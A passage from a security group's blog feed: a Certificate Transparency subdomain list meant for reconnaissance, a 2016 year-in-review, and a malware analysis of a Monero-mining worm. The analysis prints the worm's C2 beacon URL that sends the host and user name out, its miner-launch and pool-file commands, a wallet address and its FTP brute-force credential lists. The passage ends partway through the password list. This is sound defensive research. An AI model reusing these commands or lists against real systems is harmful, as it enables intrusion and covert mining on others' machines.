<p>A log entry contains all information about a certificate, and therefore the fully qualified domain name (FQDN). Since the start of <a href="https://letsencrypt.org">Let&#8217;s Encrypt</a>, it has become really easy to obtain and use SSL-/TLS certificates free-of-cost. However, it does not support <a href="https://letsencrypt.org/2017/07/06/wildcard-certificates-coming-jan-2018.html">wildcard domains (yet)</a>, but it&#8217;s on the roadmap for January 2018. Until then, every subdomain has to be explicitly listed in the certificate (or multiple certificates used). This means, that subdomains whose existence was not known before (security by obscurity, e.g. xyz-asd.domain.tld&#8230;) are easy to discover now.</p>

<p>Undoubtedly this information can be interesting from a hacker&#8217;s perspective. Sebastian&#8217;s idea  was to use the <a href="https://pypi.python.org/pypi/certstream">certstream</a> python module to subscribe to Certificate Transparency log updates, parse the subdomain and save the result in a database. Each subdomain also comes with a counter to sort it by frequency. The resulting lists with the top 100/1000/10,000/100,000 subdomains is automatically <a href="https://github.com/internetwache/CT_subdomains">exported to the &#8220;CT_Subdomains&#8221; GitHub repository</a> on an hourly basis.</p>

<p>The files have the following scheme:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># Generated 2017-12-11 11:00:01.087903
</span><span class='line'>count,subdomain
</span><span class='line'>8529329,*
</span><span class='line'>3573653,www
</span><span class='line'>779370,mail
</span><span class='line'>507273,webdisk
</span><span class='line'>497893,webmail
</span><span class='line'>480967,cpanel
</span><span class='line'>178293,autodiscover
</span><span class='line'>21955,dev
</span><span class='line'>19415,blog
</span><span class='line'>18989,m
</span><span class='line'>18518,test
</span><span class='line'>16513,shop
</span><span class='line'>15859,whm
</span><span class='line'>10483,api
</span><span class='line'>10236,admin
</span><span class='line'>9341,com
</span><span class='line'>7521,mdp
</span><span class='line'>7484,staging
</span><span class='line'>7370,cloud
</span><span class='line'>7173,demo
</span><span class='line'>6667,app
</span><span class='line'>6275,tls
</span><span class='line'>6070,eu
</span><span class='line'>5882,mbox12
</span><span class='line'>5223,store</span></code></pre></td></tr></table></div></figure>


<h2><a href="https://github.com/internetwache/CT_subdomains">Link to the GitHub &#8220;CT_subdomains&#8221; repository</a></h2>

<p>One could use this list as the input for DNS reconnaissance tools like <a href="https://github.com/OJ/gobuster">gobuster</a>.</p>

<p>There has been previous research about security implications in regards to certificate transparency logs, for example by <a href="https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Hanno-Boeck-Abusing-Certificate-Transparency-Logs.pdf">Hanno Boeck at the DEF CON 25</a>.</p>

<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Looking back on 2016 / Outlook on 2017]]></title>
    <link href="https://en.internetwache.org/looking-back-on-2016-slash-outlook-on-2017-01-01-2017/"/>
    <updated>2017-01-01T23:08:00+01:00</updated>
    <id>https://en.internetwache.org/looking-back-on-2016-slash-outlook-on-2017</id>
    <content type="html"><![CDATA[<p>It has become tradition to write a short review of the last year and about the plans for the next one.</p>

<!-- more -->


<h2>Community action &amp; CTF</h2>

<p>Like mentioned <a href="https://en.internetwache.org/looking-back-at-2015-04-01-2016/">in the last year&#8217;s review</a> we would like to thank a lot of people for supporting the project internetwache.org. For this reason we organized a &#8220;Capture The Flag&#8221; (CTF) on a weekend in february. The participation was overwhelming! Over 1500 teams registered and 650 teams actively participated in the CTF.
For anybody who is interested in a deeper look on the statistics of it, we refer to <a href="https://en.internetwache.org/internetwache-ctf-2016-review-01-03-2016/">this blogpost</a>.</p>

<p><a rel="fancybox"href="/images/posts/iwctf16-logo.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-logo.png" alt="Internetwache CTF 2016 logo" title="Internetwache CTF 2016 logo" /></a></p>

<p>Another small community action was our first batch of stickers which we gave away on the <a href="https://events.ccc.de/congress/2016/wiki/Main_Page">33c3</a> (CCC-Congress) . We think that the stickers are &#8220;quite&#8221; good for a first try - but we also see that we can improve some things. If you meet us somewhere, just ask friendly and we&#8217;ll give you some, too.</p>

<p><a rel="fancybox"href="/images/posts/iw-sticker.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iw-sticker.png" alt="Internetwache.org Stickers and Assembly" title="Internetwache.org Stickers" /></a></p>

<h2>Our work</h2>

<p>As we pointed out in the <a href="https://en.internetwache.org/looking-back-at-2015-04-01-2016/">last year&#8217;s blogpost</a> we wanted to explore Industrial Control Systems (ICS) and SCADA-systems. We were lucky to <a href="https://en.internetwache.org/how-we-pwned-your-ics-or-why-you-should-not-put-your-hmi-on-the-internet-18-08-2016/">find 4 waterworks</a> unprotected and unsecured on the internet.
We also got a hint that there were mobile traffic light systems connected to the internet which were vulnerable to an exploit. All those cases were reported to several CERTs in order to get critical systems off the internet or vulnerabilities fixed.
In September we also <a href="https://en.internetwache.org/analysis-of-a-cryptomining-malware-or-why-clicking-on-folder-icons-can-be-dangerous-09-09-2016/">researched cryptomining malware</a>.</p>

<p>In general we still like the idea behind bug bounty programs and responsible disclosure - but we are not as active as we haven been before. We simply do not have the time for doing a lot of bug bounty hunting due to work or studing. Another reason is that there are more researchers than some years ago. We are still active on platforms like HackerOne or Bugcrowd, but  mostly in private bug bounty programs.</p>

<h2>Media reports</h2>

<p>We are very excited that our work was also covered by many media reports which normaly do not report about information security related topics. For example the German magazine Spiegel reported about our waterwork findings <a href="http://www.spiegel.de/netzwelt/web/deutschland-sicherheitsluecke-wasserwerke-ungeschuetzt-im-internet-a-1103147.html">online</a> and in <a href="https://magazin.spiegel.de/SP/2016/29/145848247/index.html">print</a>.
Furthermore we published some articles on the well-known news sites such as <a href="http://www.zeit.de/digital/internet/2016-07/kritische-infrastrukturen-hacker-wasserwerk-internetwache">zeit.de</a>, <a href="http://www.handelsblatt.com/technik/it-internet/it-schwachstellen-bei-industrieanlagen-angriffsziel-wasserwerk/13883258.html">handelsblatt.de</a> or <a href="http://golem.de">golem.de</a>.</p>

<p>New in 2016 was that our work was also covered by video broadcasters like Deutsche Welle (DW), ARD, WDR and SpiegelTV (RTL). To give you a little expression about this you might take a look at the following video.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/qYEJGDxyMcM" frameborder="0" allowfullscreen></iframe>


<p>We would like to thank all corresponding jornalists for their coverage and also some constructive criticism about our work. We will try to continue our cooperation with the media to inform about modern cyberrisks in our society and to secure our daily (digital) lifes.
If you have any constructive critisism, ideas or just want to write us something, you can find all details on the <a href="https://en.internetwache.org/pgp-contact/">contact page</a>.</p>

<h2>Conferences</h2>

<p>Last year, Sebastian and Tim visited a bunch of conferences and we also wrote blog posts about them. Tim attended the <a href="https://en.internetwache.org/going-to-the-security-analyst-summit-number-thesas2016-27-02-2016/">Security Analyst Summit 2016</a> and Sebastian joined the <a href="https://en.internetwache.org/going-to-troopers-2016-04-04-2016/">TROOPERS</a> and the <a href="http://alligatorcon.pl/">Alligatorcon</a> conference.
Furthermore it has become kind of a &#8220;tradition&#8221; to visit the CCC-Conference (Chaos Computer Club) (33c3) at the end of the year. We had our very own assembly there and that made the conference even more enjoyable. We like conferences especially for getting new ideas and experience and furthermore for getting to know a lot of new people. We would like to thank the people we met at conferences a lot for nice conversations and for giving some insight view into their professional work.</p>

<h2>2016 in numbers</h2>

<p>After our successful Internetwache-CTF our follower count on twitter increased steadily. We can look at more than 1600 interested followers.  If you&#8217;re also interested, but don&#8217;t follow us yet, you can find us on twitter <a href="https://twitter.com/internetwache">@internetwache</a>.</p>

<p>The traffic to our webblog doubled during the year. We had around 25000 visitors and 45000 pageviews. With only 8 new articles those numbers are quite impressive. The reason for the low amount of articles can be found in our <a href="https://en.internetwache.org/faq/">FAQ</a>, but in essence we don&#8217;t have enough time and we prefer quality over quantity. Another reason is that we write all posts in German and English, so more effort.</p>

<p>Since mid 2016 Julien is no longer part of the <a href="https://en.internetwache.org/team/">Internetwache.org team</a>. We would like to thank Julien for his contributions and support and wish him all the best! We highly recommend Julien&#8217;s securiy blog <a href="http://rcesecurity.com">rcesecurity.com</a> and hope that we&#8217;ll stay in touch. As a sign of appreciation we&#8217;ve put his name into our <a href="https://www.internetwache.org/pgp-kontakt/">Hall of Fame</a>.</p>

<h2>Personal successes</h2>

<p><a href="https://twitter.com/gehaxelt">Sebastian</a> writes about his non-web security research on his blog <a href="https://0day.work">0day.work</a>. For the next he plans to publish some more research and interesting blogposts. Furthermore Sebastian participated in a lot of CTFs - in most cases as a part of the <a href="https://twitter.com/enoflog">@ENOFLAG</a> team. The <a href="https://www.ructf.org/">RuCTF</a> finals in Jekaterinburg were really exciting. Measured by the amount of consumed vodka, the 9th place is still presentable :). They finished the qualification for the next year&#8217;s finals on the 6th place.</p>

<p><a href="https://twitter.com/TimPhSchaefers">Tim</a> writes about the topics privacy and information-security on the german IT-news website <a href="http://golem.de">golem.de</a> until early 2016. Furthermore he published his first German IT-textbook with the title <a href="http://amzn.to/1Z0ipxA">&#8220;Hacking im Web&#8221;</a> which was sold over 1000-times within the first 5 month after the publication. Tim also has a <a href="https://hacking-im-web.de/blog.html">webblog about websecurity</a> in German which covers topics of the book. Secondary to his Bachelor studies he finished his training and lived 3 month in Barcelona. 2017 will be the final part of his dual studies - furthermore he plans to write some blogposts (on an own blog).</p>

<h2>Outlook on 2017</h2>

<p>We archieved most of the goals we had for 2016. So here&#8217;s an educated guess about our work for the next year.
A new Internetwache.org CTF is in prepartion, but we don&#8217;t have enough ideas yet and not enough time for implementing all challenges.
Furthermore we want to do some new research in the field of it-security, but we do not want to spoiler now.
Cooperating with media is fun. We will continue to share our opinion about questions of IT and information security to archieve a more secure (digital) society.</p>

<p>You will hear from us ;)</p>

<p>Sebastian Neef und Tim Philipp Schäfers</p>

<p>The team of Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Analysis of a cryptomining malware or why clicking on folder icons can be dangerous]]></title>
    <link href="https://en.internetwache.org/analysis-of-a-cryptomining-malware-or-why-clicking-on-folder-icons-can-be-dangerous-09-09-2016/"/>
    <updated>2016-09-09T23:25:00+02:00</updated>
    <id>https://en.internetwache.org/analysis-of-a-cryptomining-malware-or-why-clicking-on-folder-icons-can-be-dangerous</id>
    <content type="html"><![CDATA[<p>A while ago we did some research about industrial control systems (ICS) and found a file named &#8220;photo.scr&#8221; on some of those. We want to share what we&#8217;ve learned about this file in this blogpost - in order to make sure that people find out how the malware works and how you can protect yourself from such a threat.</p>

<!-- more -->


<p>At the beginning we were not sure about the &#8220;photo.scr&#8221;. We discovered the file in all folders on some systems and there was also an autodownload starting when we tried to open a HTML-file (the help-file of an ICS-software). That was the point when we decided to take a deeper look at it. Not much time passed before we found out that the file belongs to a cryptomining-botnet which was also covered by some security companies in other publications.</p>

<p>We already decribed some results in a german article on the IT-news site golem.de: <a href="http://www.golem.de/news/kritische-infrastrukturen-wenn-die-usv-kryptowaehrungen-schuerft-1608-122837.html">Kritische Infrastrukturen: Wenn die USV Kryptowährungen schürft</a></p>

<p>For the analysis we maily used the service <a href="malwr.com">malwr.com</a>. We uploaded a few samples to the website and also found some other reports from people who uploaded similar samples. As far as we know, most of the samples are following similar patterns of behaviour. In this blogpost we focuse on <a href="https://malwr.com/analysis/Y2MxZDhjZmNiMDMzNDhlYjkxODcwYjY0NTBkMTYzNDM/">this sample</a> - because we found it on an ICS and took a deeper look at it.</p>

<p>The file is 1578496 bytes (~1.6 MB) big and is identified as <code>PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows</code>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
</span><span class='line'>
</span><span class='line'>$&gt; du -sb 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>1578496 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin</span></code></pre></td></tr></table></div></figure>


<p>Sample&#8217;s hash sums</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>aba2d86ed17f587eb6d57e6c75f64f05  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin
</span><span class='line'>
</span><span class='line'>$&gt; sha1sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>aeccba64f4dd19033ac2226b4445faac05c88b76  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin
</span><span class='line'>
</span><span class='line'>$&gt; sha256sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin</span></code></pre></td></tr></table></div></figure>


<p>As we might know, one should not <a href="https://lcamtuf.blogspot.de/2014/10/psa-dont-run-strings-on-untrusted-files.html">run the command &#8220;strings&#8221; on an unknown file</a>. That&#8217;s why we used the helpfull features of <a href="http://radare.org/r/">radare2</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; r2  file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>&gt; iS
</span><span class='line'>[Sections]
</span><span class='line'>[...]sz=79872 vsz=79824 perm=m-r-x name=.text
</span><span class='line'>[...]sz=1536 vsz=1124 perm=m-rw- name=.data
</span><span class='line'>[...]sz=10752 vsz=10260 perm=m-r-- name=.rdata
</span><span class='line'>[...]sz=1024 vsz=1016 perm=m-r-- name=.eh_fra
</span><span class='line'>[...]sz=0 vsz=19276 perm=m-rw- name=.bss
</span><span class='line'>[...]sz=3584 vsz=3480 perm=m-rw- name=.idata
</span><span class='line'>[...]sz=512 vsz=28 perm=m-rw- name=.CRT
</span><span class='line'>[...]sz=512 vsz=32 perm=m-rw- name=.tls
</span><span class='line'>[...]sz=1479680 vsz=1479216 perm=m-rw- name=.rsrc
</span><span class='line'>
</span><span class='line'>9 sections</span></code></pre></td></tr></table></div></figure>


<p>As we can see, the <code>.rsrc</code> ressource section is with around 1,4 MB the biggest one. Let&#8217;s take a more closer look at it, but before that, we have to extract it. We can use <a href="http://linux.die.net/man/1/wrestool">wrestool</a> :</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; mkdir wrestool && cd wrestool/
</span><span class='line'>$&gt; wrestool -a -R -x -o ./ ../807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin  
</span><span class='line'>$&gt; ls
</span><span class='line'>total 1,5M
</span><span class='line'>[...] 4,0K  3. Sep 14:59 .
</span><span class='line'>[...] 4,0K 22. Aug 00:46 ..
</span><span class='line'>[...] 1,4M  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1
</span><span class='line'>[...]  146  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_14_ICON1.ico
</span><span class='line'>[...] 1,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_1
</span><span class='line'>[...] 1,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_10
</span><span class='line'>[...]  744  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_2
</span><span class='line'>[...]  296  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_3
</span><span class='line'>[...] 3,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_4
</span><span class='line'>[...] 2,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_5
</span><span class='line'>[...] 1,4K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_6
</span><span class='line'>[...]  20K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_7
</span><span class='line'>[...] 9,5K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_8
</span><span class='line'>[...] 4,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_9
</span><span class='line'>[...]  45K 22. Aug 00:41 bad-file_14_ICON1.ico</span></code></pre></td></tr></table></div></figure>


<p>In this case we see many small files, but there is one which seems to be the most interesting one: The one with the suffix &#8220;RCDATA1&#8221;. <code>wrestool</code> identified most resources as icons, but only two look like valid folder-icons. These icons seem to be used to trick some users (social engineering) to think that the program is a folder - to initiate a double click.</p>

<p><a rel="fancybox"href="/images/posts/photo-virus-2.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/photo-virus-2.png" alt="Ordner-Icon bei der Ansicht im Windows Explorer" title="Darstellung der photo.scr im Windows Explorer" /></a></p>

<p>In some modern webbrowsers, e.g Firefox, there is a built-in protection:  It shows that the file is an application despite having a folder icon.</p>

<p><a rel="fancybox"href="/images/posts/photo-virus-1.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/photo-virus-1.png" alt="Firefox show only a application icon, no folder icon" title="Screenshot of the Firefox Autodownload with application icon" /></a></p>

<p>The extraordinary big file also seemed to be a windows-executable:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1: PE32 executable (console) Intel 80386, for MS Windows
</span><span class='line'>
</span><span class='line'>$&gt; md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
</span><span class='line'>3afeb8e9af02a33ff71bf2f6751cae3a  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1</span></code></pre></td></tr></table></div></figure>


<p>If one searches for the MD5-hash <code>3afeb8e9af02a33ff71bf2f6751cae3a</code>, one can find a program with the name <a href="http://www.processchecker.com/file/NsCpuCNMiner32.exe.html">NsCpuCNMiner32.exe</a>. We will find out the purpose of this program later.</p>

<p>The strings from the <code>.data</code> section. There are some interesting entries!</p>

<p>For example which domains are used for communication:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=stafftest.ru
</span><span class='line'>[...]string=hrtests.ru
</span><span class='line'>[...]string=profetest.ru
</span><span class='line'>[...]string=testpsy.ru
</span><span class='line'>[...]string=pstests.ru
</span><span class='line'>[...]string=qptest.ru
</span><span class='line'>[...]string=prtests.ru
</span><span class='line'>[...]string=jobtests.ru
</span><span class='line'>[...]string=iqtesti.ru</span></code></pre></td></tr></table></div></figure>


<p>In the malwr.com log you can see, that there is a HTTP-request to the following URL: httpx://stafftest .ru/test.html. We can find the same entry in the binary:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=http://%s/test.html?%d</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/stafftest.ru.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/stafftest.ru.png" alt="Screenshot of a C&C server where only gibberish can be read at first." title="Only gibberisch when requesting the website" /></a></p>

<p>If you request this URL in a secure environment you get HTML sourcecode and a lot of gibberish. An analysis of <a href="https://blog.fortinet.com/2016/06/14/obfuscated-bitcoin-miner-propagates-through-ftp-using-password-dictionary">Fortinet</a> shows that only some characters need to be interchanged in order to get the cleartext - it seems to be a ROT47 chiffre with a modified charset and it can be reverted by runnning the following program:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>#!/usr/bin/python2
</span><span class='line'>import requests
</span><span class='line'>
</span><span class='line'>def decode(URL):
</span><span class='line'>    charset = " mnbvcxzlkjhgfdsapoiuytrewq/0987654321!@=%&?:.,["
</span><span class='line'>    r = requests.get(URL)
</span><span class='line'>    content = r.content
</span><span class='line'>    output = ""
</span><span class='line'>
</span><span class='line'>    for c in content:
</span><span class='line'>        if c in charset:
</span><span class='line'>            pos = 47 - charset.index(c)
</span><span class='line'>            output += charset[pos]
</span><span class='line'>        else:
</span><span class='line'>            output += c
</span><span class='line'>
</span><span class='line'>    return output
</span><span class='line'>
</span><span class='line'>print decode("httpx://stafftest .ru/stat.html")
</span><span class='line'>print decode("httpx://stafftest .ru/test.html")
</span><span class='line'>print decode("httpx://stafftest .ru/text.html")</span></code></pre></td></tr></table></div></figure>


<p>There&#8217;s an example run <a href="https://paste.internetwache.org/?6d98c0b9696943db#8LWVS8h31+afvsh7hT1BJhIrPm5QPHJ1acuTNpbJtDw=">in our paste</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=httpx://hrtests .ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s</span></code></pre></td></tr></table></div></figure>


<p>Furthermore, a HTTP-request with multiple parameters is performed. The parameters seem to be the version <code>ver</code>, the computer&#8217;s name <code>pc</code>, the user name <code>user</code> and some more. We think that these values are used for the backend - so that the cybercrimials have an overview of how many and which kind of systems are infected.  The parameter <code>ver</code> also indicates that the malware&#8217;s development is quite professional (with new releases and such). <a href="https://www.guardicore.com/2016/06/the-photominer-campaign">GuardiCore&#8217;s</a> analysis also points out that with every new version a few new mechanisms for spreading the malware are implemented.</p>

<p>[&#8230;]strings also contains NsCpuCNMiner again (it exists for 32-bit and aswell for 64-bit computers) and is placed in the <code>%%TEMP%%</code> directory.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=%s\NsCpuCNMiner32.exe
</span><span class='line'>[...]string=/c start /b %%TEMP%%\NsCpuCNMiner32.exe -dbg -1 %s</span></code></pre></td></tr></table></div></figure>


<p>Before the miner can run, it needs a list of mining pools to use. A handful of initial mining pool addresses were hardcoded and placed with a shell command in a file called <code>pools.txt</code>, but more were fetched with the shown HTTP request.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=/c (echo stratum+tcp://mine.moneropool.com:3333& echo stratum+tcp://monero.crypto-pool.fr:3333& echo stratum+tcp://xmr.prohash.net:7777& echo stratum+tcp://pool.minexmr.com:5555)&gt; %TEMP%\pools.txt</span></code></pre></td></tr></table></div></figure>


<p>In order to attribute the solved blocks to the right account on the mining pool, an account-specific API-Key has to be used:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=-o stratum+tcp://mine.moneropool.com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x</span></code></pre></td></tr></table></div></figure>


<p><a href="https://www.reddit.com/r/netsec/comments/4o1ebq/worm_spreads_via_ftp_and_http_mines_monero/">Reddit users</a> were able to find out a few other adresses and API-Keys which seem to belong to the same person or group.</p>

<p>The malware is bruteforcing poorly configured FTP servers with the following usernames:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=anonymous
</span><span class='line'>[...]string=Admin
</span><span class='line'>[...]string=admin
</span><span class='line'>[...]string=www-data
</span><span class='line'>[...]string=anonymous
</span><span class='line'>[...]string=Admin
</span><span class='line'>[...]string=admin
</span><span class='line'>[...]string=www-data
</span><span class='line'>[...]string=administrator</span></code></pre></td></tr></table></div></figure>


<p>and passwords:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=test
</span><span class='line'>[...]string=password
</span><span class='line'>[...]string=pass
</span><span class='line'>[...]string=pass1234
</span><span class='line'>[...]string=1234
</span><span class='line'>[...]string=12345
</span><span class='line'>[...]string=123456
</span><span class='line'>[...]string=1234567
</span><span class='line'>[...]string=12345678
</span><span class='line'>[...]string=123456789
</span><span class='line'>[...]string=1234567890
</span><span class='line'>[...]string=qwerty
</span><span class='line'>[...]string=devry
</span><span class='line'>[...]string=000000
</span><span class='line'>[...]string=111111
</span><span class='line'>[...]string=123123
</span><span class='line'>[...]string=abc123
</span><span class='line'>[...]string=admin123
